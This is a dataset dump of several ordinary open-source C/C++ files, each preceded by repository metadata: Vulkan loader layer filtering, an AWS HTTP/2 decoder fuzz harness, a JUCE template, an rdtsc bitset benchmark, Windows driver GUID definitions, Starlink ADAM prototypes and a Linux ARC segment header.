if (0 == strncmp(lower_name, filter_struct->filters[filt].value, filter_struct->filters[filt].length)) {
ret_value = true;
}
break;
case FILTER_STRING_FULLNAME:
if (0 == strncmp(lower_name, filter_struct->filters[filt].value, name_len)) {
ret_value = true;
}
break;
}
if (ret_value) {
break;
}
}
return ret_value;
}
// Get the layer name(s) from the env_name environment variable. If layer is found in
// search_list then add it to layer_list. But only add it to layer_list if type_flags matches.
VkResult loader_add_environment_layers(struct loader_instance *inst, const enum layer_type_flags type_flags,
const struct loader_envvar_all_filters *filters,
struct loader_pointer_layer_list *target_list,
struct loader_pointer_layer_list *expanded_target_list,
const struct loader_layer_list *source_list) {
VkResult res = VK_SUCCESS;
char *layer_env = loader_getenv(ENABLED_LAYERS_ENV, inst);
// If the layer environment variable is present (i.e. VK_INSTANCE_LAYERS), we will always add it to the layer list.
if (layer_env != NULL) {
size_t layer_env_len = strlen(layer_env) + 1;
char *name = loader_stack_alloc(layer_env_len);
if (name != NULL) {
loader_strncpy(name, layer_env_len, layer_env, layer_env_len);
loader_log(inst, VULKAN_LOADER_WARN_BIT | VULKAN_LOADER_LAYER_BIT, 0, "env var \'%s\' defined and adding layers \"%s\"",
ENABLED_LAYERS_ENV, name);
// First look for the old-fashion layers forced on with VK_INSTANCE_LAYERS
while (name && *name) {
char *next = loader_get_next_path(name);
if (strlen(name) > 0) {
bool found = false;
for (uint32_t i = 0; i < source_list->count; i++) {
struct loader_layer_properties *source_prop = &source_list->list[i];
if (0 == strcmp(name, source_prop->info.layerName)) {
found = true;
// Only add it if it doesn't already appear in the layer list
if (!loader_find_layer_name_in_list(source_prop->info.layerName, target_list)) {
if (0 == (source_prop->type_flags & VK_LAYER_TYPE_FLAG_META_LAYER)) {
res = loader_add_layer_properties_to_list(inst, target_list, source_prop);
if (res == VK_ERROR_OUT_OF_HOST_MEMORY) goto out;
res = loader_add_layer_properties_to_list(inst, expanded_target_list, source_prop);
if (res == VK_ERROR_OUT_OF_HOST_MEMORY) goto out;
} else {
res = loader_add_meta_layer(inst, filters, source_prop, target_list, expanded_target_list,
source_list, NULL);
if (res == VK_ERROR_OUT_OF_HOST_MEMORY) goto out;
}
break;
}
}
}
if (!found) {
loader_log(inst, VULKAN_LOADER_ERROR_BIT | VULKAN_LOADER_LAYER_BIT, 0,
"Layer \"%s\" was not found but was requested by env var VK_INSTANCE_LAYERS!", name);
}
}
name = next;
}
}
}
// Loop through all the layers and check the enable/disable filters
for (uint32_t i = 0; i < source_list->count; i++) {
struct loader_layer_properties *source_prop = &source_list->list[i];
// If it doesn't match the type, or the name isn't what we're looking for, just continue
if ((source_prop->type_flags & type_flags) != type_flags) {
continue;
}
// We found a layer we're interested in, but has it been disabled...
bool adding = true;
bool is_implicit = (0 == (source_prop->type_flags & VK_LAYER_TYPE_FLAG_EXPLICIT_LAYER));
bool disabled_by_type =
(is_implicit) ? (filters->disable_filter.disable_all_implicit) : (filters->disable_filter.disable_all_explicit);
if ((filters->disable_filter.disable_all || disabled_by_type ||
check_name_matches_filter_environment_var(source_prop->info.layerName, &filters->disable_filter.additional_filters)) &&
!check_name_matches_filter_environment_var(source_prop->info.layerName, &filters->allow_filter)) {
loader_log(inst, VULKAN_LOADER_WARN_BIT | VULKAN_LOADER_LAYER_BIT, 0,
"Layer \"%s\" ignored because it has been disabled by env var \'%s\'", source_prop->info.layerName,
VK_LAYERS_DISABLE_ENV_VAR);
adding = false;
}
// If we are supposed to filter through all layers, we need to compare the layer name against the filter.
// This can override the disable above, so we want to do it second.
// Also make sure the layer isn't already in the output_list, skip adding it if it is.
if (check_name_matches_filter_environment_var(source_prop->info.layerName, &filters->enable_filter) &&
!loader_find_layer_name_in_list(source_prop->info.layerName, target_list)) {
adding = true;
// Only way is_substring is true is if there are enable variables. If that's the case, and we're past the
// above, we should indicate that it was forced on in this way.
loader_log(inst, VULKAN_LOADER_WARN_BIT | VULKAN_LOADER_LAYER_BIT, 0,
"Layer \"%s\" forced enabled due to env var \'%s\'", source_prop->info.layerName, VK_LAYERS_ENABLE_ENV_VAR);
} else {
adding = false;
}
if (!adding) {
continue;
}
// If not a meta-layer, simply add it.
if (0 == (source_prop->type_flags & VK_LAYER_TYPE_FLAG_META_LAYER)) {
res = loader_add_layer_properties_to_list(inst, target_list, source_prop);
if (res == VK_ERROR_OUT_OF_HOST_MEMORY) goto out;
res = loader_add_layer_properties_to_list(inst, expanded_target_list, source_prop);
if (res == VK_ERROR_OUT_OF_HOST_MEMORY) goto out;
} else {
res = loader_add_meta_layer(inst, filters, source_prop, target_list, expanded_target_list, source_list, NULL);
if (res == VK_ERROR_OUT_OF_HOST_MEMORY) goto out;
}
}
out:
if (layer_env != NULL) {
loader_free_getenv(layer_env, inst);
}
return res;
}
|
b2cb8f4ffee3369acac72c2c81577d5474564dd1
|
ecafcf4501aa0af63925fdae669ab09fa3949077
|
/tests/fuzz/fuzz_h2_decoder_random.c
|
b1012e2c8632d1ddeab7daa6d43a09004c99ee2a
|
[
"Apache-2.0"
] |
permissive
|
awslabs/aws-c-http
|
082753f9556bbd075da7c11cf39e4790f679a110
|
a36253d55279bb910a2fe1566061daa556dcd5ad
|
refs/heads/main
| 2023-09-04T11:20:27.332890
| 2023-09-01T20:29:34
| 2023-09-01T20:29:34
| 142,940,518
| 119
| 41
|
Apache-2.0
| 2023-09-01T20:29:35
| 2018-07-31T00:07:24
|
C
|
UTF-8
|
C
| false
| false
| 1,707
|
c
|
fuzz_h2_decoder_random.c
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/http/private/h2_decoder.h>
#include <aws/testing/aws_test_harness.h>
#include <aws/common/allocator.h>
#include <aws/common/logging.h>
AWS_EXTERN_C_BEGIN
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
/* Setup allocator and parameters */
struct aws_allocator *allocator = aws_mem_tracer_new(aws_default_allocator(), NULL, AWS_MEMTRACE_BYTES, 0);
struct aws_byte_cursor to_decode = aws_byte_cursor_from_array(data, size);
/* Enable logging */
struct aws_logger logger;
struct aws_logger_standard_options log_options = {
.level = AWS_LL_TRACE,
.file = stdout,
};
aws_logger_init_standard(&logger, allocator, &log_options);
aws_logger_set(&logger);
/* Init HTTP (s2n init is weird, so don't do this under the tracer) */
aws_http_library_init(aws_default_allocator());
/* Create the decoder */
struct aws_h2_decoder_vtable decoder_vtable = {0};
struct aws_h2_decoder_params decoder_params = {
.alloc = allocator,
.vtable = &decoder_vtable,
.skip_connection_preface = true,
};
struct aws_h2_decoder *decoder = aws_h2_decoder_new(&decoder_params);
/* Decode whatever we got */
aws_h2_decode(decoder, &to_decode);
/* Clean up */
aws_h2_decoder_destroy(decoder);
aws_logger_set(NULL);
aws_logger_clean_up(&logger);
atexit(aws_http_library_clean_up);
/* Check for leaks */
ASSERT_UINT_EQUALS(0, aws_mem_tracer_count(allocator));
allocator = aws_mem_tracer_destroy(allocator);
return 0;
}
AWS_EXTERN_C_END
|
59e20907a668a481b26d845a99e766e21a3d3610
|
4207610c48cbb9021f4420791a9c9d07550b72d9
|
/JUCE/extras/Projucer/Source/BinaryData/Templates/jucer_ContentCompSimpleTemplate.h
|
696efd7bb122dc5f0ed83faddeb4baf66ccb9498
|
[
"GPL-1.0-or-later",
"LicenseRef-scancode-proprietary-license",
"GPL-3.0-only",
"ISC",
"LicenseRef-scancode-unknown-license-reference",
"GPL-2.0-only",
"BSD-3-Clause"
] |
permissive
|
RomanKubiak/ctrlr
|
d98a910eb46f6cf4324da3fc3ae664cc7dd5aec9
|
8aa00d82127acda42ad9ac9b7b479461e9436aa4
|
refs/heads/master
| 2023-02-13T00:21:04.546585
| 2022-06-24T10:53:16
| 2022-06-24T10:53:16
| 14,671,067
| 435
| 82
|
BSD-3-Clause
| 2022-05-31T18:18:23
| 2013-11-24T22:53:11
|
C++
|
UTF-8
|
C
| false
| false
| 1,524
|
h
|
jucer_ContentCompSimpleTemplate.h
|
#pragma once
%%include_juce%%
//==============================================================================
/*
This component lives inside our window, and this is where you should put all
your controls and content.
*/
class %%content_component_class%% : public juce::Component
{
public:
//==============================================================================
%%content_component_class%%()
{
setSize (600, 400);
}
~%%content_component_class%%() override
{
}
//==============================================================================
void paint (juce::Graphics& g) override
{
// (Our component is opaque, so we must completely fill the background with a solid colour)
g.fillAll (getLookAndFeel().findColour (juce::ResizableWindow::backgroundColourId));
g.setFont (juce::Font (16.0f));
g.setColour (juce::Colours::white);
g.drawText ("Hello World!", getLocalBounds(), juce::Justification::centred, true);
}
void resized() override
{
// This is called when the %%content_component_class%% is resized.
// If you add any child components, this is where you should
// update their positions.
}
private:
//==============================================================================
// Your private member variables go here...
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (%%content_component_class%%)
};
|
b56317392ba977d0e054b12daceacba924f13fcd
|
b1c0a1117a62d5f049e189e041aa19a914be6dbd
|
/extra/bitset/c/bitsetaggregation.c
|
3ceb9993f69e768b994b0c8ab415b05366b327a3
|
[
"LicenseRef-scancode-public-domain"
] |
permissive
|
lemire/Code-used-on-Daniel-Lemire-s-blog
|
847451d3acbeb28a6a6d50c6686eb537a6fdff41
|
c13fe68cdec26d45f688b5c58245fb428dc2ddb9
|
refs/heads/master
| 2023-08-31T09:55:12.275811
| 2023-08-31T00:33:59
| 2023-08-31T00:33:59
| 3,945,414
| 729
| 194
| null | 2023-09-04T07:50:21
| 2012-04-06T00:13:02
|
C
|
UTF-8
|
C
| false
| false
| 7,102
|
c
|
bitsetaggregation.c
|
// gcc -O3 -march=native -std=c99 -o bitsetaggregation bitsetaggregation.c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void *aligned_malloc(size_t alignment, size_t size) {
void *mem;
if (posix_memalign(&mem, alignment, size)) exit(1);
return mem;
}
void __attribute__ ((noinline)) intersection(const uint64_t * restrict array_1,
const uint64_t * restrict array_2,
size_t length, uint64_t * restrict out) {
for (size_t i = 0; i < length; i ++) {
const uint64_t word_1 = (array_1[i]) & (array_2[i]);
out[i] = word_1;
}
}
void __attribute__ ((noinline)) interleave(const uint64_t * restrict array_1,
const uint64_t * restrict array_2,
size_t length, uint64_t * restrict out) {
for (size_t i = 0; i + 1< length; i +=2) {
out[i] = array_1[i];
out[i + 1] = array_2[i+1];
}
}
void __attribute__ ((noinline)) copy(const uint64_t * restrict array_1,
size_t length, uint64_t * restrict out) {
for (size_t i = 0; i < length; i ++) {
const uint64_t word_1 = array_1[i];
out[i] = word_1;
}
}
#define RDTSC_START(cycles) \
do { \
uint32_t cyc_high, cyc_low; \
__asm volatile("cpuid\n" \
"rdtsc\n" \
"mov %%edx, %0\n" \
"mov %%eax, %1" : \
"=r" (cyc_high), \
"=r"(cyc_low) : \
: /* no read only */ \
"%rax", "%rbx", "%rcx", "%rdx" /* clobbers */ \
); \
(cycles) = ((uint64_t)cyc_high << 32) | cyc_low; \
} while (0)
#define RDTSC_STOP(cycles) \
do { \
uint32_t cyc_high, cyc_low; \
__asm volatile("rdtscp\n" \
"mov %%edx, %0\n" \
"mov %%eax, %1\n" \
"cpuid" : \
"=r"(cyc_high), \
"=r"(cyc_low) : \
/* no read only registers */ : \
"%rax", "%rbx", "%rcx", "%rdx" /* clobbers */ \
); \
(cycles) = ((uint64_t)cyc_high << 32) | cyc_low; \
} while (0)
static __attribute__ ((noinline))
uint64_t rdtsc_overhead_func(uint64_t dummy) {
return dummy;
}
uint64_t global_rdtsc_overhead = (uint64_t) UINT64_MAX;
#define RDTSC_SET_OVERHEAD(test, repeat) \
do { \
uint64_t cycles_start, cycles_final, cycles_diff; \
uint64_t min_diff = UINT64_MAX; \
for (int i = 0; i < repeat; i++) { \
__asm volatile("" ::: /* pretend to clobber */ "memory"); \
RDTSC_START(cycles_start); \
test; \
RDTSC_STOP(cycles_final); \
cycles_diff = (cycles_final - cycles_start); \
if (cycles_diff < min_diff) min_diff = cycles_diff; \
} \
global_rdtsc_overhead = min_diff; \
printf("rdtsc_overhead set to %d\n", (int)global_rdtsc_overhead); \
} while (0) \
/*
* Prints the best number of operations per cycle where
* test is the function call, answer is the expected answer generated by
* test, repeat is the number of times we should repeat and size is the
* number of operations represented by test.
*/
#define BEST_TIME(test, pre, repeat, size) \
do { \
if (global_rdtsc_overhead == UINT64_MAX) { \
RDTSC_SET_OVERHEAD(rdtsc_overhead_func(1), repeat); \
} \
printf("%-60s\t: ", #test); \
fflush(NULL); \
uint64_t cycles_start, cycles_final, cycles_diff; \
uint64_t min_diff = (uint64_t)-1; \
uint64_t sum_diff = 0; \
for (int i = 0; i < repeat; i++) { \
pre; \
__asm volatile("" ::: /* pretend to clobber */ "memory"); \
RDTSC_START(cycles_start); \
test; \
RDTSC_STOP(cycles_final); \
cycles_diff = (cycles_final - cycles_start - global_rdtsc_overhead); \
if (cycles_diff < min_diff) min_diff = cycles_diff; \
sum_diff += cycles_diff; \
} \
uint64_t S = size; \
float cycle_per_op = (min_diff) / (double)S; \
float avg_cycle_per_op = (sum_diff) / ((double)S * repeat); \
printf(" %.2f cycles per operation (best) ", cycle_per_op); \
printf("\t%.2f cycles per operation (avg) ", avg_cycle_per_op); \
printf("\n"); \
fflush(NULL); \
} while (0)
void demo(int size) {
printf("size = %d words or %lu bytes \n",size, size*sizeof(uint64_t));
int repeat = 500;
uint64_t * dataA = aligned_malloc(32,size * sizeof(uint64_t));
uint64_t * dataB = aligned_malloc(32,size * sizeof(uint64_t));
uint64_t * out = aligned_malloc(32,size * sizeof(uint64_t));
for(int k = 0; k < size; ++k) {
dataA[k] = -k;
dataB[k] = k;
}
BEST_TIME(interleave(dataA, dataB, size, out),, repeat, size);
BEST_TIME(intersection(dataA, dataB, size, out),, repeat, size);
BEST_TIME(copy(dataA, size, out),, repeat, size);
BEST_TIME(memcpy(out, dataA, sizeof(uint64_t)*size),, repeat, size);
free(dataA);
free(dataB);
free(out);
printf("\n");
}
int main() {
for(int w = 8; w <= 8192; w *= 2) {
demo(w);
}
return 0;
}
|
3a2b4b5e0b412b96ad59ec1570677bb6b232c338
|
79d343002bb63a44f8ab0dbac0c9f4ec54078c3a
|
/lib/libc/include/any-windows-any/ddk/wdmguid.h
|
dadbddb7dcbe789d9d4d843d01d50f9ea00e84d2
|
[
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-public-domain",
"MIT"
] |
permissive
|
ziglang/zig
|
4aa75d8d3bcc9e39bf61d265fd84b7f005623fc5
|
f4c9e19bc3213c2bc7e03d7b06d7129882f39f6c
|
refs/heads/master
| 2023-08-31T13:16:45.980913
| 2023-08-31T05:50:29
| 2023-08-31T05:50:29
| 40,276,274
| 25,560
| 2,399
|
MIT
| 2023-09-14T21:09:50
| 2015-08-06T00:51:28
|
Zig
|
UTF-8
|
C
| false
| false
| 5,953
|
h
|
wdmguid.h
|
/*
* wdmguid.h
*
* GUID definitions for PnP device classes and device events.
*
* This file is part of the w32api package.
*
* Contributors:
* Created by Filip Navara <xnavara@volny.cz>.
*
* THIS SOFTWARE IS NOT COPYRIGHTED
*
* This source code is offered for use in the public domain. You may
* use, modify or distribute it freely.
*
* This code is distributed in the hope that it will be useful but
* WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY
* DISCLAIMED. This includes but is not limited to warranties of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
*/
#ifndef __WDMGUID_H
#define __WDMGUID_H
DEFINE_GUID(GUID_HWPROFILE_QUERY_CHANGE,
0xcb3a4001, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_HWPROFILE_CHANGE_CANCELLED,
0xcb3a4002, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_HWPROFILE_CHANGE_COMPLETE,
0xcb3a4003, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_DEVICE_INTERFACE_ARRIVAL,
0xcb3a4004, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_DEVICE_INTERFACE_REMOVAL,
0xcb3a4005, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_TARGET_DEVICE_QUERY_REMOVE,
0xcb3a4006, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_TARGET_DEVICE_REMOVE_CANCELLED,
0xcb3a4007, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_TARGET_DEVICE_REMOVE_COMPLETE,
0xcb3a4008, 0x46f0, 0x11d0, 0xb0, 0x8f, 0x00, 0x60, 0x97, 0x13, 0x05, 0x3f);
DEFINE_GUID(GUID_PNP_CUSTOM_NOTIFICATION,
0xaca73f8e, 0x8d23, 0x11d1, 0xac, 0x7d, 0x00, 0x00, 0xf8, 0x75, 0x71, 0xd0);
DEFINE_GUID(GUID_PNP_POWER_NOTIFICATION,
0xc2cf0660, 0xeb7a, 0x11d1, 0xbd, 0x7f, 0x00, 0x00, 0xf8, 0x75, 0x71, 0xd0);
DEFINE_GUID(GUID_BUS_INTERFACE_STANDARD,
0x496b8280, 0x6f25, 0x11d0, 0xbe, 0xaf, 0x08, 0x00, 0x2b, 0xe2, 0x09, 0x2f);
DEFINE_GUID(GUID_PCI_BUS_INTERFACE_STANDARD,
0x496b8281, 0x6f25, 0x11d0, 0xbe, 0xaf, 0x08, 0x00, 0x2b, 0xe2, 0x09, 0x2f);
DEFINE_GUID(GUID_AGP_TARGET_BUS_INTERFACE_STANDARD,
0xb15cfce8, 0x06d1, 0x4d37, 0x9d, 0x4c, 0xbe, 0xdd, 0xe0, 0xc2, 0xa6, 0xff);
DEFINE_GUID(GUID_ARBITER_INTERFACE_STANDARD,
0xe644f185, 0x8c0e, 0x11d0, 0xbe, 0xcf, 0x08, 0x00, 0x2b, 0xe2, 0x09, 0x2f);
DEFINE_GUID(GUID_TRANSLATOR_INTERFACE_STANDARD,
0x6c154a92, 0xaacf, 0x11d0, 0x8d, 0x2a, 0x00, 0xa0, 0xc9, 0x06, 0xb2, 0x44);
DEFINE_GUID(GUID_ACPI_INTERFACE_STANDARD,
0xb091a08a, 0xba97, 0x11d0, 0xbd, 0x14, 0x00, 0xaa, 0x00, 0xb7, 0xb3, 0x2a);
DEFINE_GUID(GUID_INT_ROUTE_INTERFACE_STANDARD,
0x70941bf4, 0x0073, 0x11d1, 0xa0, 0x9e, 0x00, 0xc0, 0x4f, 0xc3, 0x40, 0xb1);
DEFINE_GUID(GUID_PCMCIA_BUS_INTERFACE_STANDARD,
0x76173af0, 0xc504, 0x11d1, 0x94, 0x7f, 0x00, 0xc0, 0x4f, 0xb9, 0x60, 0xee);
DEFINE_GUID(GUID_ACPI_REGS_INTERFACE_STANDARD,
0x06141966, 0x7245, 0x6369, 0x46, 0x2e, 0x4e, 0x65, 0x6c, 0x73, 0x6f, 0x6e);
DEFINE_GUID(GUID_LEGACY_DEVICE_DETECTION_STANDARD,
0x50feb0de, 0x596a, 0x11d2, 0xa5, 0xb8, 0x00, 0x00, 0xf8, 0x1a, 0x46, 0x19);
DEFINE_GUID(GUID_PCI_DEVICE_PRESENT_INTERFACE,
0xd1b82c26, 0xbf49, 0x45ef, 0xb2, 0x16, 0x71, 0xcb, 0xd7, 0x88, 0x9b, 0x57);
DEFINE_GUID(GUID_MF_ENUMERATION_INTERFACE,
0xaeb895f0, 0x5586, 0x11d1, 0x8d, 0x84, 0x00, 0xa0, 0xc9, 0x06, 0xb2, 0x44);
DEFINE_GUID(GUID_ACPI_CMOS_INTERFACE_STANDARD,
0x3a8d0384, 0x6505, 0x40ca, 0xbc, 0x39, 0x56, 0xc1, 0x5f, 0x8c, 0x5f, 0xed);
DEFINE_GUID(GUID_ACPI_PORT_RANGES_INTERFACE_STANDARD,
0xf14f609b, 0xcbbd, 0x4957, 0xa6, 0x74, 0xbc, 0x00, 0x21, 0x3f, 0x1c, 0x97);
DEFINE_GUID(GUID_PNP_LOCATION_INTERFACE,
0x70211b0e, 0x0afb, 0x47db, 0xaf, 0xc1, 0x41, 0x0b, 0xf8, 0x42, 0x49, 0x7a);
DEFINE_GUID(GUID_BUS_TYPE_INTERNAL,
0x1530ea73, 0x086b, 0x11d1, 0xa0, 0x9f, 0x00, 0xc0, 0x4f, 0xc3, 0x40, 0xb1);
DEFINE_GUID(GUID_BUS_TYPE_PCMCIA,
0x09343630, 0xaf9f, 0x11d0, 0x92, 0xE9, 0x00, 0x00, 0xf8, 0x1e, 0x1b, 0x30);
DEFINE_GUID(GUID_BUS_TYPE_PCI,
0xc8ebdfb0, 0xb510, 0x11d0, 0x80, 0xe5, 0x00, 0xa0, 0xc9, 0x25, 0x42, 0xe3);
DEFINE_GUID(GUID_BUS_TYPE_ISAPNP,
0xe676f854, 0xd87d, 0x11d0, 0x92, 0xb2, 0x00, 0xa0, 0xc9, 0x05, 0x5f, 0xc5);
DEFINE_GUID(GUID_BUS_TYPE_EISA,
0xddc35509, 0xf3fc, 0x11d0, 0xa5, 0x37, 0x00, 0x00, 0xf8, 0x75, 0x3e, 0xd1);
DEFINE_GUID(GUID_BUS_TYPE_MCA,
0x1c75997a, 0xdc33, 0x11d0, 0x92, 0xb2, 0x00, 0xa0, 0xc9, 0x05, 0x5f, 0xc5);
DEFINE_GUID(GUID_BUS_TYPE_LPTENUM,
0xc4ca1000, 0x2ddc, 0x11d5, 0xa1, 0x7a, 0x00, 0xc0, 0x4f, 0x60, 0x52, 0x4d);
DEFINE_GUID(GUID_BUS_TYPE_USBPRINT,
0x441ee000, 0x4342, 0x11d5, 0xa1, 0x84, 0x00, 0xc0, 0x4f, 0x60, 0x52, 0x4d);
DEFINE_GUID(GUID_BUS_TYPE_DOT4PRT,
0x441ee001, 0x4342, 0x11d5, 0xa1, 0x84, 0x00, 0xc0, 0x4f, 0x60, 0x52, 0x4d);
DEFINE_GUID(GUID_BUS_TYPE_SERENUM,
0x77114a87, 0x8944, 0x11d1, 0xbd, 0x90, 0x00, 0xa0, 0xc9, 0x06, 0xbe, 0x2d);
DEFINE_GUID(GUID_BUS_TYPE_USB,
0x9d7debbc, 0xc85d, 0x11d1, 0x9e, 0xb4, 0x00, 0x60, 0x08, 0xc3, 0xa1, 0x9a);
DEFINE_GUID(GUID_BUS_TYPE_1394,
0xf74e73eb, 0x9ac5, 0x45eb, 0xbe, 0x4d, 0x77, 0x2c, 0xc7, 0x1d, 0xdf, 0xb3);
DEFINE_GUID(GUID_BUS_TYPE_HID,
0xeeaf37d0, 0x1963, 0x47c4, 0xaa, 0x48, 0x72, 0x47, 0x6d, 0xb7, 0xcf, 0x49);
DEFINE_GUID(GUID_BUS_TYPE_AVC,
0xc06ff265, 0xae09, 0x48f0, 0x81, 0x2c, 0x16, 0x75, 0x3d, 0x7c, 0xba, 0x83);
DEFINE_GUID(GUID_BUS_TYPE_IRDA,
0x7ae17dc1, 0xc944, 0x44d6, 0x88, 0x1f, 0x4c, 0x2e, 0x61, 0x05, 0x3b, 0xc1);
DEFINE_GUID(GUID_BUS_TYPE_SD,
0xe700cc04, 0x4036, 0x4e89, 0x95, 0x79, 0x89, 0xeb, 0xf4, 0x5f, 0x00, 0xcd);
DEFINE_GUID(GUID_POWER_DEVICE_ENABLE,
0x827c0a6fL, 0xfeb0, 0x11d0, 0xbd, 0x26, 0x00, 0xaa, 0x00, 0xb7, 0xb3, 0x2a);
DEFINE_GUID(GUID_POWER_DEVICE_TIMEOUTS,
0xa45da735L, 0xfeb0, 0x11d0, 0xbd, 0x26, 0x00, 0xaa, 0x00, 0xb7, 0xb3, 0x2a);
DEFINE_GUID(GUID_POWER_DEVICE_WAKE_ENABLE,
0xa9546a82L, 0xfeb0, 0x11d0, 0xbd, 0x26, 0x00, 0xaa, 0x00, 0xb7, 0xb3, 0x2a);
#endif /* __WDMGUID_H */
|
e79e6b3a06e283c96f021cefd3b1434344393091
|
8b98cd47f934d2a4a8d0b2842d3277b01f3fb7fa
|
/applications/icl/adam_functions.h
|
269457202633ef8c7ced9573d4f2c3c8aff2a94a
|
[] |
no_license
|
Starlink/starlink
|
1cc03b85eb78330a3622003b26b69c1733df50fe
|
2c374b3e97c9cebcc8f3bd2f8b4bb326eefe061a
|
refs/heads/master
| 2023-07-26T09:32:27.987319
| 2023-07-05T23:56:27
| 2023-07-05T23:56:27
| 5,169,323
| 139
| 45
| null | 2022-11-18T13:29:32
| 2012-07-24T18:15:25
|
Fortran
|
UTF-8
|
C
| false
| false
| 1,439
|
h
|
adam_functions.h
|
/*
* Routine prototypes for adam_ routines
*/
extern
void adam_stop(void);
extern
void adam_acknow(int path, int messid, int messtatus, int context,
char *name, char *svalue, int svlen, int *status);
extern void
adam_getreply(int path, int messid, int *context, char *name, char *svalue,
int *slen, int *status);
extern void
adam_getreplyt(int time, int path, int messid, int *context, char *name,
char *svalue, int *svlen, int *status);
extern void
adam_path(char *taskname, int *path, int *status);
extern void
adam_prcname(char *name, int *length, int *status);
extern void
adam_receive(int *path, int *context, char *name, char *svalue, int *svlen,
int *messid, int *status);
extern void
adam_reply(int path, int context, char *name, char *valu, int vlen,
int messid, int *status);
extern void
adam_send(int path, int context, char *name, char *inval, int inlen,
char outval[], int *outlen, int *messid, int *status);
extern void
adam_sendonly(int path, int context, char *name, char *inval, int inlen,
int *messid, int *status);
extern void
adam_sendt(int time, int path, int context, char *name, char *inval,
int inlen, char outval[], int *outlen, int *messid, int *status);
extern void
adam_trigger(int path, int context, char *name, char *valu, int messid,
int *status);
extern void
adam_wait(int msecs, int *status);
|
cb102fe14d566eae3d978f519ef7e47e216ae682
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/arch/arc/include/asm/segment.h
|
da2c45979817aacceaf5249b5f6897f8abc74570
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 612
|
h
|
segment.h
|
/*
* Copyright (C) 2004, 2007-2010, 2011-2012 Synopsys, Inc. (www.synopsys.com)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#ifndef __ASMARC_SEGMENT_H
#define __ASMARC_SEGMENT_H
#ifndef __ASSEMBLY__
typedef unsigned long mm_segment_t;
#define MAKE_MM_SEG(s) ((mm_segment_t) { (s) })
#define KERNEL_DS MAKE_MM_SEG(0)
#define USER_DS MAKE_MM_SEG(TASK_SIZE)
#define segment_eq(a, b) ((a) == (b))
#endif /* __ASSEMBLY__ */
#endif /* __ASMARC_SEGMENT_H */
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.